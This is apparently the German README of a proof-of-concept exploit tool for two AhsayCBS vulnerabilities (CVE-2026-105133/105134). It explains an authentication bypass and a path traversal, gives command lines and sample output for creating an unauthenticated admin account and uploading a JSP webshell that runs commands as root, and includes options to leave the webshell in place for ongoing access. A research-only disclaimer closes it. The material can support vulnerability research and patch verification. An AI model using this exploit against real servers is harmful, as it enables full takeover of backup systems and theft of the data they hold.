Ein Proof-of-Concept-Exploit für CVE-2026-105133 und CVE-2026-105134, die AhsayCBS betreffen
CVE-2026-105133 + CVE-2026-105134 — Unauthentifizierte Remote-Code-Ausführung in AhsayCBS ≤10.3.4
Eine technische Analyse mit Ursachenanalyse, Ausnutzung und Kompromittierungsindikatoren ist im Attack-Research-Blog von Horizon3.ai verfügbar:
AhsayCBS-Versionen 10.3.4 und früher sind anfällig für unauthentifizierte Remote-Code-Ausführung über zwei verkettete Schwachstellen zur Umgehung der Authentifizierung und zum Path Traversal in den JSON-API- und Replication-Receiver-Modulen. Ein Angreifer kann ohne Anmeldedaten vollständige administrative Kontrolle oder direkte RCE erlangen.
Die Methode com.ahsay.obs.api.json.JSONApi.execute() überspringt die Validierung der Anmeldedaten durch checkSysPwd(), wenn der JSON-Anfragetext {"FromServlet":"Y"} enthält. Dadurch kann jeder nicht authentifizierte Angreifer jede JSON-API-Aktion ohne Anmeldedaten aufrufen.
Auswirkung: Unauthentifizierter JSON-API-Zugriff auf sensible Operationen.
Der Datei-Upload-Endpunkt des Replication-Receivers (PUT /rps/obs7/rpsfile/upload) konstruiert den Schreibpfad aus den vom Angreifer kontrollierten Headern UserHome und TopDir über getReplicatedPath() ohne Anwendung der Pfad-Denylist com.ahsay.c. Ein Angreifer kann in das von Tomcat web-bereitgestellte Verzeichnis (../../webapps/) traversieren, um ausführbare JSP-Dateien hochzuladen.
Nutzt die Umgehung der Authentifizierung, um ein neues Systemadministratorkonto zu erstellen. Funktioniert bei jeder AhsayCBS-Installation, unabhängig von Lizenzierung oder Replication-Konfiguration.
python3 ahsay_rce_poc.py --url https://target.example.com
Ausgabe:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Nutzt den Path Traversal im Replication Receiver, um eine authentifizierte Webshell hochzuladen. Erfordert, dass das Ziel lizenziert und als Replication Receiver konfiguriert ist. Erreicht RCE als das Dienstkonto.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Ausgabe:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Testen Sie, ob das Ziel anfällig ist, ohne Änderungen vorzunehmen:
python3 ahsay_rce_poc.py --url https://target.example.com --check
Erstellen Sie ein neues Administratorkonto:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Führe Befehle über eine temporäre Webshell aus:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"Diese Software wurde ausschließlich für die Zwecke der akademischen Forschung und für die Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dafür gedacht, Systeme anzugreifen, außer wenn dies ausdrücklich autorisiert wurde." Die Projektbetreuer übernehmen keine Haftung für Missbrauch. Verwende sie verantwortungsvoll.